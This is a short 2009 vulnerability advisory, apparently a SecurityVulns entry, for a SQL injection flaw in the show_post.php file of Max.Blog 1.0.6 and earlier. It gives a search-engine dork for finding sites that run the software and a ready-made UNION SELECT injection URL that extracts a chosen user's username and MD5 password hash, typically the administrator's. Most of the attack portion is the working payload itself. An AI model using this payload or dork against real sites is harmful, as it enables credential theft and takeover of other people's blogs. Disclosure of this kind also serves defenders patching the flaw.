Max.Blog <= 1.0.6 (show_post.php) SQL Injection Vulnerability

2009-01-28T00:00:00
ID SECURITYVULNS:DOC:21231
Type securityvulns
Reporter Securityvulns
Modified 2009-01-28T00:00:00

Description

############# Salvatore "drosophila" Fresta

Application: Max.Blog http://www.mzbservices.com Version: Max.Blog <= 1.0.6 Bug: * SQL Injection Exploitation: Remote Dork: intext:"Powered by Max.Blog" Date: 20 Jan 2009 Discovered by: Salvatore "drosophila" Fresta Author: Salvatore "drosophila" Fresta e-mail: drosophilaxxx@gmail.com

  • BUGS

SQL Injection:

    File affected: show_post.php

    This bug allows a guest to view username and password &#40;md5&#41; of a
    registered user with the specified id &#40;usually 1 for the admin&#41;

    http://www.site.com/path/show_post.php?id=-1&#39;+UNION+ALL+SELECT+1,concat&#40;&#39;username:

', username),concat('password: ', password),4,5,6,7+FROM+users+WHERE+id=1%23

-- Salvatore "drosophila" Fresta CWNP444351